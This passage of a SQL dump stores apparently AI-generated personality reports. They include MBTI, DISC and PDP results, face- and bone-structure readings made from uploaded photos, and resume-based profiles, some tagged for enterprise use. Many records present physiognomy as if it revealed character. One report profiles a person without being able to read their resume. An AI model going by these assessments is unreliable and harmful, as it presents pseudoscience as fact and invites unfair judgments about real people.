对复杂问题有拆解和推进的能力,而不仅停留在想法层面。\\n\\n---\\n\\n## 五、可提升方向(结合三类测评的“偏科点”)\\n\\n1. **情绪与同理心维度的补位**\\n - 当前组合偏:结果 > 过程、事实 > 情绪。 \\n - 建议:\\n - 在给反馈、提要求前,先确认对方状态(“我看到你现在很赶/很累,我的建议是…”);\\n - 学会区分:对事可以强硬,对人要留余地;\\n - 对高情感敏感型同事(高F、高S)增加一些“情感确认”。\\n\\n2. **节奏与风格的灵活度**\\n - 强势+快节奏容易“碾压”节奏慢的人,导致团队出现被动服从、表面执行。 \\n - 建议:\\n - 在定目标时,邀请不同风格成员参与共创,减少“一言堂”;\\n - 有意识多问一句:“你怎么看?有什么风险/细节我没考虑到?”\\n\\n3. **风险意识与细节耐心**\\n - 孔雀/I型 + ESTJ 容易偏向“自信+乐观+动作快”,忽略长期风险或技术细节。 \\n - 建议:\\n - 在重要决策中,引入“唱反调角色”; \\n - 固定加入一个“风险检查清单”(资金、合规、交付能力、人力等)。\\n\\n4. **压力管理与自我调节**\\n - 表面强势、理性的人,常常习惯“压住自己的情绪”,后期可能以易怒、控制欲、失眠等方式反弹。 \\n - 建议:\\n - 留出稳定的放空或运动时间,而不是一味靠高强度工作“顶住”;\\n - 在极度压力期,减少对他人语气和节奏的要求,把精力放在“关键少数”的任务上。\\n\\n---\\n\\n## 六、后续优化建议\\n\\n目前你的数据中,存在两种相反画像:\\n\\n- 面相:INTJ + D/C(冷静策略家,偏内向、理性、规划型)\\n- 测评:ESTJ + 孔雀 + I(外向、务实、善社交、组织执行型)\\n\\n但它们的“交集”很清晰: \\n**理性、组织力强、结果导向、有影响力、有一定控制欲。**\\n\\n接下来,如果你能提供:\\n- 生日(具体年月日)\\n- 简历中真实的工作经历:行业、岗位、年限、是否带团队、典型项目/业绩\\n\\n我可以再做一版“修正版画像”,重点从:\\n\\n1. 你的职业选择与晋升路径,验证你是更偏“战略规划型”,还是“执行管理+对人影响型”;\\n2. 从工作中的真实行为(冲突处理、挫折反应、换工作原因),验证你的抗压方式和真实价值观;\\n3. 结合生日,从“底色倾向”上进一步校正(例如偏权威/独立/合作/服务等)。\\n\\n你可以直接把简历文字版或关键经历发给我,我会基于上面的“初稿”做一次系统修正和升级。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773131684, 1773131684, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (102, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-03-10T08:37:27.414Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 17, \"secondaryType\": \"I\"}', NULL, NULL, 0, 0, NULL, NULL, 1773131847, 1773131847, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (103, 1, 'disc', '{\"scores\": {\"C\": 5, \"D\": 4, \"I\": 8, \"S\": 3}, \"answers\": {\"1\": \"I\", \"2\": \"D\", \"3\": \"I\", \"4\": \"I\", \"5\": \"C\", \"6\": \"I\", \"7\": \"I\", \"8\": \"D\", \"9\": \"S\", \"10\": \"C\", \"11\": \"I\", \"12\": \"C\", \"13\": \"C\", \"14\": \"D\", \"15\": \"S\", \"16\": \"C\", \"17\": \"S\", \"18\": \"I\", \"19\": \"D\", \"20\": \"I\"}, \"completedAt\": \"2026-03-10T08:42:24.893Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 25, \"D\": 20, \"I\": 40, \"S\": 15}, \"dominantType\": \"I\", \"testDuration\": 19, \"secondaryType\": \"C\"}', NULL, NULL, 0, 0, NULL, NULL, 1773132144, 1773132144, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (104, 1, 'resume', '{\"content\": \"下面先给出综合结论,再拆分说明。由于简历文件内容无法直接读取,以下分析主要基于: \\n- 面相AI:INTJ + PDP 老虎 / DISC D-C \\n- MBTI测评问卷:ESTJ(极端 E、S、T、J) \\n- PDP 测评:孔雀型(P85 + T15) \\n- DISC 测评:I 主导,次 C(I40%、C25%、D20%、S15%)\\n\\n可以看出,不同测评之间有明显矛盾: \\n- 有的结果偏「内向理性、战略规划型」(INTJ / D-C) \\n- 有的结果偏「外向表现、乐观影响型」(ESTJ + 孔雀 + I型) \\n\\n所以必须交叉取证,剥离「答题风格」「场景角色」带来的偏差,只保留稳定、相互印证的特征。\\n\\n---\\n\\n## 一、核心性格关键词(综合提炼)\\n\\n**底色:理性 + 目标导向 + 主动外向的影响者**\\n\\n- 目标驱动,结果导向 \\n- 逻辑清晰,判断迅速 \\n- 现实务实,偏行动派 \\n- 外向表达,愿意影响和说服他人 \\n- 组织与掌控欲较强,有领导倾向 \\n- 情绪总体稳定,但有时会直接甚至强势 \\n- 既要「好结果」,又在意「别人怎么看」\\n\\n---\\n\\n## 二、真实性格深度分析(去伪存真)\\n\\n### 1. 内外向:E 还是 I?\\n\\n- 面相/人脸:INTJ 倾向(独立思考、规划、冷静) \\n- MBTI 问卷:100% E,几乎没有 I \\n- PDP:孔雀型(极高外向表达、社交欲) \\n- DISC:I 型主导(善于沟通、表达)\\n\\n**综合判定**: \\n- 性格本质上偏「外向表达 + 主动影响」——不是安静型分析者 \\n- 但思考方式带有一定「理性、独立判断」特征,不是情绪化的纯社交型 \\n- 可推测: \\n - 内心需要通过「说」「讲」「带队」来影响环境,是典型 E \\n - 人前表现活跃、讲逻辑、人脉广; \\n - 但在关键判断时,会希望自己做主,独立思考后拍板,有一点「内向决策」的影子\\n\\n### 2. 思维方式:T vs F / 逻辑 vs 情感\\n\\n- MBTI:T 极高,F 接近 0 \\n- 面相:逻辑分析、理性思维 \\n- PDP/ DISC:孔雀 / I 型往往偏情绪感染力强,但你的组合里同时有 Tiger / C、D 成分\\n\\n**综合判定**: \\n- 决策底层以「对错、利弊、效率、结果」为主,而非「感受、公平、关系和谐」 \\n- 善于用数据、事实、逻辑说明观点,但会带一点情绪、鼓动性 \\n- 对自己要求高,也会对别人有明显标准,容忍度有限 \\n- 在关系中,更多是「我帮你解决问题」,而不是「我陪你情绪共鸣」\\n\\n### 3. 结构度与执行:J + D/C 一致性很高\\n\\n- MBTI:J 极强(偏有计划、有秩序的处事方式) \\n- 面相:战略规划、系统性思考 \\n- DISC:C+D 均有一定比例(25+20),说明: \\n - 注重质量、细节、规范(C) \\n - 同时又有推动、拍板的一面(D)\\n\\n**综合判定**: \\n- 做事讲流程、讲计划、喜欢可控性,不爱「走一步看一步」 \\n- 能从全局拆分任务,设置节点和标准 \\n- 对执行要求严格,不喜欢拖沓、反复 \\n- 遇到模糊情况,会本能地想「先定规则/先搭框架」,再推动落实\\n\\n### 4. 情绪与压力反应\\n\\n从 D + C + T + 目标导向推测:\\n\\n- 面对压力,会先顶住、硬扛,通过加快节奏、强化控制来应对,而不是退缩 \\n- 高标准 + 责任感,会让你在关键项目中很能扛事,但长期容易: \\n - 自我压力过大 \\n - 对他人不耐烦,语气变硬、控制欲上升 \\n- 情绪表达方式: \\n - 不太习惯示弱或公开表达脆弱 \\n - 一般以「工作指令」「问题讨论」的形式释放情绪(例如提高语速、语气变直)\\n\\n### 5. 真实偏好 vs 测试标签矛盾的原因推测\\n\\n- INTJ(面相)+ ESTJ(问卷)+ 孔雀/老虎(PDP)+ I/C (DISC) \\n- 可以推断: \\n - 底层是:**逻辑型、结果型、组织型** \\n - 外显行为是:**外向、有号召力、善于动员与说服** \\n- 问卷中极端的 E/S/T/J 可能反映了你「在职场角色中的自我期望」: \\n - 认为自己应该外向、坚决、指挥型、很能扛 \\n- 面相中的 INTJ 则反映: \\n - 内心仍需要一定独处空间做深度思考 \\n - 有规划和策略性,而不是只靠人脉与情绪\\n\\n---\\n\\n## 三、行为与沟通风格\\n\\n### 1. 行为风格(做事习惯)\\n\\n- **偏任务导向**:看到的是目标、节点和资源,而不是先想到「大家开不开心」 \\n- **强推动力**:喜欢把事情往前赶,看不到进度会焦虑 \\n- **决策方式**: \\n - 快速收集信息 → 分析利弊 → 果断拍板 \\n - 不喜欢长时间拉扯和模糊 \\n- **对细节与标准有要求**: \\n - 对数字、流程、结果质量敏感 \\n - 在执行层面,有时会下意识地「自己盯得很紧」 \\n- **时间观念强**:守时、希望别人也守时,拖延会让你非常不爽\\n\\n### 2. 人际与沟通风格\\n\\n- **主动开场、主动带节奏**:会议上倾向于主持议题、推动讨论,而不是一直沉默 \\n- **表达直接、逻辑清晰**: \\n - 喜欢讲「逻辑+结论」,不爱绕圈 \\n - 容易给人「强势」「有压迫感」的印象,尤其对执行不到位的人 \\n- **说服路径**: \\n - 用事实、案例、数据 + 一定情绪感染(鼓舞式或高压式) \\n- **社交偏好**: \\n - 场合中能自如社交、建立关系 \\n - 但选择深度合作伙伴时,更看重对方能力与专业,而非单纯投缘\\n\\n---\\n\\n## 四、优势亮点\\n\\n1. **综合领导力潜质** \\n - 目标感强 + 推动力强 + 组织规划能力 \\n - 能同时「看全局」和「盯过程」 \\n - 适合在项目型、结果导向强的岗位担任负责人或关键骨干\\n\\n2. **逻辑与执行结合** \\n - 不是只会讲战略的空谈型,也不是只会干活的执行型 \\n - 能把复杂问题拆解为可执行步骤,安排人、定标准、定时间\\n\\n3. **沟通与影响力强** \\n - 具备孔雀/I型的表达力和感染力 \\n - 适合做跨部门协调、客户沟通、对上汇报、对下动员\\n\\n4. **高抗压与责任感** \\n - 在关键任务中,敢接难活,有「我来」的担当 \\n - 抗压方式偏「迎难上」,能在压力下保持理性判断\\n\\n5. **学习与迭代能力** \\n - T + C 特质使你愿意学习新方法、复盘问题 \\n - 会不断调整自己的策略和做事方式,以追求更高效的结果\\n\\n---\\n\\n## 五、可提升方向(有针对性的建议)\\n\\n1. **柔化表达方式,减少无意的压迫感** \\n - 问题不在逻辑,而在「语气与时机」: \\n - 在给反馈前先简短肯定,再指出问题 \\n - 避免在公开场合直接、尖锐地挑战个人,更聚焦问题和方案 \\n - 目标:同样的观点,用更让人「愿意接受」的方式表达\\n\\n2. **容忍差异、提升耐心** \\n - 你的节奏和标准往往高于平均值 \\n - 建议: \\n - 区分「必须做到」和「可以妥协」的标准 \\n - 对节奏慢、风格不同的同事,多用「提问式」而非「指责式」沟通: \\n - 「你现在最大困难是什么?」 \\n - 「我们一起看看怎么帮你提速?」\\n\\n3. **增强情感维度的领导力** \\n - 目前偏「任务+结果」领导方式 \\n - 可以刻意增加: \\n - 了解成员个人动机与压力 \\n - 在关键节点给予情绪支持,而不是只盯结果 \\n - 这会显著提升团队忠诚度和配合度\\n\\n4. **适当放权,避免过度控制** \\n - 强控制与高标准容易导致「事事亲力亲为」 \\n - 建议建立: \\n - 清晰的目标和检查节点 \\n - 把过程决策权交给团队,让别人也承担结果 \\n - 有助于你从「高级执行者」升级为「真正的管理者」\\n\\n5. **给自己预留「独处思考」时间** \\n - 虽然外向,但面相/INTJ 指向你有不小的「深度思考」需求 \\n - 建议在节奏很快的工作中,给自己固定的: \\n - 每周1-2次,1-2小时的独立思考时间,用于:复盘、规划、思考长期方向 \\n - 有利于你避免陷入只顾执行、不看方向的忙碌状态\\n\\n---\\n\\n### 总结一句话画像\\n\\n一个以结果和逻辑为核心、外向主动、有号召力的组织者型人才:在高压环境中能扛事、能带队、能推动复杂任务落地;同时需要在表达柔和度、对他人差异的耐心以及情感链接上做适度升级,以从「强势的执行型领导」成长为「兼具温度与格局的成熟管理者」。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773132629, 1773132629, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (105, 26, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性稳健、规划导向,擅长在安静环境中深度思考与系统决策。重视长期价值,执行风格低调克制但持续有力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0dee57b7.63622949.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e208c94.70625181.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e1c4ee9.23218328.jpg\"], \"boneAnalysis\": \"骨骼线条偏方正厚实,中停与下停力量感足,格局偏稳健持久型,重视现实落地。\", \"faceAnalysis\": \"额头与下颌饱满,眼神专注,鼻梁端正,整体给人理性、稳健而有耐性的印象。\", \"personalitySummary\": \"思维逻辑清晰,惯于独立判断与长期规划;情绪外露度低,人际中略带距离感;做事专注、有责任心,适合承担重要项目与关键决策角色。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773133602, 1773133602, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (106, 26, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、心智缜密,重视规划与秩序,擅长长期目标推进与关键决策,适合承担核心职责。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede1498fb4.13618523.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede13bda54.82616891.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede146fe35.05214291.jpg\"], \"boneAnalysis\": \"五官骨骼清晰、骨重肉薄偏金木形,相框修长有角度,颧骨内敛、下颌坚挺,显露决断力强、规划导向与持久执行力。\", \"faceAnalysis\": \"额头平阔顺滑,眼神专注克制,鼻梁挺直,嘴唇收敛有度,下颌线利落,整体给人理性稳重、专注内敛之感。\", \"personalitySummary\": \"思维逻辑严谨,做事计划性强,重视原则与底线,情绪外显度低但责任心重,适合独立思考与统筹复杂事务。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773137394, 1773137394, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (107, 26, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静且目标感强,善于规划与统筹,做事稳健高效,适合承担关键决策与专业把关角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d6f7a9.18847402.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d96652.90735834.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07df7c91.55175853.jpg\"], \"boneAnalysis\": \"骨相匀称偏骨重,颧略内敛不外突,下颌骨线条利落,属木土兼具之稳健型,重视现实落地与长远积累。\", \"faceAnalysis\": \"额头平阔顺滑,眼神沉静专注,鼻梁端正细致,嘴唇收敛有度,下颌线清晰,整体给人理性自持、判断力强的气质。\", \"personalitySummary\": \"性格内敛理性,有清晰边界与责任心,重视秩序与规则,擅长独立思考与深度分析,对自我要求高,抗压稳定。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773137428, 1773137428, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (108, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性而带理想主义色彩,思维细腻有规划,重视内在原则与长期发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"五官骨感清秀属木水形,骨肉匀称偏纤细,重直觉与思考,抗压方式以理性内耗消化为主。\", \"faceAnalysis\": \"额头偏高顺滑,眼神内敛专注,鼻梁细直,唇形柔和收敛,下巴略尖显敏感思辨。\", \"personalitySummary\": \"内向克制而有主见,重价值观与深度连接,做事谨慎有条理,擅长独立思考与长期规划,对情绪与环境变化较敏感。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773197744, 1773197744, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (109, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性冷静偏内向,思考缜密,重视个人空间与专业深度,适合研究分析与策略规划类工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感适中偏纤细,五行偏木水形,骨肉匀称,思维敏捷重逻辑,抗压方式以理性分析和持续消化为主。\", \"faceAnalysis\": \"额头饱满、眼神内敛而专注,鼻梁清秀,嘴形柔和含蓄,下颌较尖,整体偏理性内向型气质。\", \"personalitySummary\": \"安静理性,独立思考力强,做事有条理而不急躁,情绪外显度低但内心细腻,偏向以专业与思考影响他人。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773214222, 1773214222, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (110, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"理性细腻,思维缜密,内敛专注,情感深而有度,适合深度思考与策略规划型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相清秀偏木水形,骨肉匀称,颧骨不显而有支撑力,属韧性与耐力并存型,重思考胜过外放冲劲。\", \"faceAnalysis\": \"额形平顺,眼神温和内敛,鼻梁细直,唇形含蓄,下巴柔中带坚,整体偏理性内向与审慎气质。\", \"personalitySummary\": \"性格安静理性,重内在原则与价值观,做事有规划且追求完美,情绪稳定但表达含蓄,善体察他人并给予细腻支持。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773214527, 1773214527, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (111, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"理性克制而细腻,重视长期目标与内在价值,做事安静专注,兼具温度与原则感。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif\"], \"boneAnalysis\": \"骨骼匀称偏细长,颧骨不外突、下颌略带角度,属稳健内敛型骨相,重思考与节奏掌控,抗压方式偏理性持久。\", \"faceAnalysis\": \"额头平润饱满、眉眼清澈专注,鼻梁秀直、唇形端正收敛,下颌线流畅,整体给人理性细腻且自律的气质。\", \"personalitySummary\": \"性格安静独立,思维细腻有条理,重视原则与边界;对人温和但有距离感,擅长深度思考与长期规划,适合需要专注与判断力的岗位。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773216325, 1773216325, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (112, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质沉静理性,心思细腻有担当,重视长期规划与自我提升,适合在稳定高标准环境中深耕发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif\"], \"boneAnalysis\": \"面骨线条流畅不突兀,骨肉均匀偏细腻,颧区含而不露,下颌骨稳实,属稳健持久型格局,重视内在力量与长期累积。\", \"faceAnalysis\": \"额头饱满平整,眼神柔和专注,鼻梁顺直,唇形饱满收敛,下颌线清晰,整体给人理性内敛、稳重可靠之感。\", \"personalitySummary\": \"性格安静理智,思路清晰,有原则与边界感,做事细致有耐心,擅长在低调中持续发力并稳定完成高标准任务。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773216370, 1773216370, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (113, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、谋略清晰,目标导向强,善于规划与统筹,在稳定环境中能持续输出高质量成果。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122946a54c6.37603583.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12294706aa6.28073503.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1229473c992.26199330.jfif\"], \"boneAnalysis\": \"骨相偏金木形,骨架分明而不过分外露,颧骨内敛、下颌有角度,属稳健理性型格局,重视原则与秩序,抗压持久。\", \"faceAnalysis\": \"额头平阔饱满,眉眼沉稳专注,鼻梁挺直有力,嘴型收敛紧实,下颌线清晰,整体给人冷静自持、内敛坚决之感。\", \"personalitySummary\": \"性格内敛克制,思维逻辑性强,做事计划周密而节奏稳健,倾向独立思考与深度研究,人际中保持适度距离但值得信赖。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773216421, 1773216421, 6, 'personal'); +INSERT INTO `mbti_test_results` VALUES (114, 28, 'face', '{\"pdp\": {\"primary\": \"考拉\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"S\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISFJ\", \"title\": \"守卫者\"}, \"overview\": \"稳重务实,责任感强,做事踏实细致,重视家庭与长期稳定,适合在熟悉领域深耕发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154dcb8.48696739.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d15502b8.73103052.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154df95.81703712.jpg\"], \"boneAnalysis\": \"骨量适中偏厚,下颌圆厚承载力强,颧骨不张主守成,属土形稳健格局,重视现实与稳定。\", \"faceAnalysis\": \"额头饱满,下庭厚实,眼神内敛稳重,鼻梁端正,嘴型含蓄收敛,整体给人踏实可靠之感。\", \"personalitySummary\": \"性格内敛沉稳,重责任与承诺,做事耐心细致,抗压能力好,偏向长期投入与稳健发展路径。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218013, 1773218013, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (115, 28, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"稳健细致、有责任感与执行力,重视规则与现实结果,适合长期深耕与稳步进阶。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1291258aed8.61725123.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b129125da054.82470920.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12912575b20.55637872.jpg\"], \"boneAnalysis\": \"骨相偏土形,骨肉均衡,颧骨内敛不外露,下颌有力,格局务实稳健。\", \"faceAnalysis\": \"额头宽阔鼻梁端正,下巴饱满,眼神沉稳,整体五官偏实在稳重型。\", \"personalitySummary\": \"性格务实内敛,重视承诺与责任,做事耐心细致,抗压性强,更偏向脚踏实地稳步推进型。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218078, 1773218078, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (116, 28, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"谨慎稳健、责任心强,注重现实与细节,适合在稳定结构中承担关键职责并长期深耕。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1291258aed8.61725123.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b129125da054.82470920.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12912575b20.55637872.jpg\"], \"boneAnalysis\": \"骨架偏厚重、颧区内敛、下颌有力,属土形稳健格局,抗压持久,重实际执行与长期承载。\", \"faceAnalysis\": \"额头宽平、眼神沉稳、鼻梁端正、下颌厚实,整体给人理性踏实、重承诺有耐力的印象。\", \"personalitySummary\": \"性格内敛理性、有原则感与责任心,做事踏实有规划,重承诺与结果,适合在规则清晰的体系中长期负责重要模块。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773218176, 1773218176, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (117, 1, 'resume', '{\"content\": \"下面的分析,会把你给到的多源信息(简历+人脸&骨相分析+MBTI 两套结果+PDP+DISC)做“去噪”和交叉验证,不按某一份测评的标签生搬硬套,而是抽取其中彼此印证的部分。\\n\\n---\\n\\n## 一、核心性格关键词(综合结论)\\n\\n- 冷静理性、重逻辑 \\n- 计划性强、组织导向 \\n- 目标结果导向,执行力稳定 \\n- 内在自我要求高,抗压持久 \\n- 外在沟通存在“社交/表现”一面(可切换出场) \\n- 情绪表达相对克制,不喜无效社交 \\n- 信任建立慢,但一旦认定就稳定可靠 \\n\\n整体更像:**理性驱动的组织者 + 可控输出的影响者**,而不是典型“高情绪化、随性”的孔雀型。\\n\\n---\\n\\n## 二、真实性格深度分析\\n\\n### 1. 生日 & 面相骨相信息带来的“底色”\\n\\n你给出的面相/骨相描述中,有几条很关键:\\n\\n- “额头平阔饱满,眉眼沉稳专注,鼻梁挺直有力,嘴型收敛紧实,下颌线清晰” \\n- “整体给人冷静自持、内敛坚决之感” \\n- “骨相偏金木形…属稳健理性型格局,重视原则与秩序,抗压持久”\\n\\n去掉玄学解释,从心理与行为特征上可提炼为:\\n\\n- **偏理性+克制**:天然会先观察、判断,再行动;不易情绪化爆发。\\n- **原则意识强**:在规则、秩序、底线这类问题上比较硬,容易成为团队里的“标准制定者/捍卫者”。\\n- **意志与抗压能力较强**:遇到压力时,更倾向于咬牙扛住&自己消化,而不是大幅情绪外露。\\n- **自我要求高**:下颌线清晰 